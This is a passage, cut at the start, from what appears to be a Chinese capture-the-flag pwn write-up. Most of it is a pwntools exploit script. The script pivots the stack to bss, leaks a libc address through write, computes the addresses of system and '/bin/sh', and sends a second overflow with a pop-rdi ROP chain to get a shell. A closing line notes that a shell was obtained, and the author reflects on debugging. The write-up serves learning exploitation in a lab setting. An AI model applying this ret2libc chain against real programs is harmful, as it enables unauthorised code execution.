p64(write_plt) + p64(main_addr) # payload = payload.ljust(0xc0,b'b') payload += p64(bss-8) + p64(leave_ret) p.send(payload) ### ret2libc: leak system_addr & binsh_addr write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) log.info("write_addr:%s"%hex(write_addr)) libc_base = write_addr - libc.sym['write'] system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh')) log.info("system_addr:%s,binsh:%s"%(hex(system),hex(binsh))) log.info('Double Overvlow!try to getshell\n===================') ### Double Overflow: rdi+binsh+system = getshell bss = elf.bss() + 0x800 #new bss payload = b'a'*0xc0 + p64(bss+0xc0) +p64(read_addr) p.sendafter('it!\n',payload) sleep(1) payload = p64(rdi) + p64(binsh) + p64(system) payload = payload.ljust(0xc0,b'c') payload += p64(bss-8) + p64(leave_ret) p.send(payload) #################### p.interactive()
运行程序得到shell。
这一道pwn题学到真的挺多的,主要还得是耐心去调试,去找错在哪里,然后一步步完善脚本。学到了!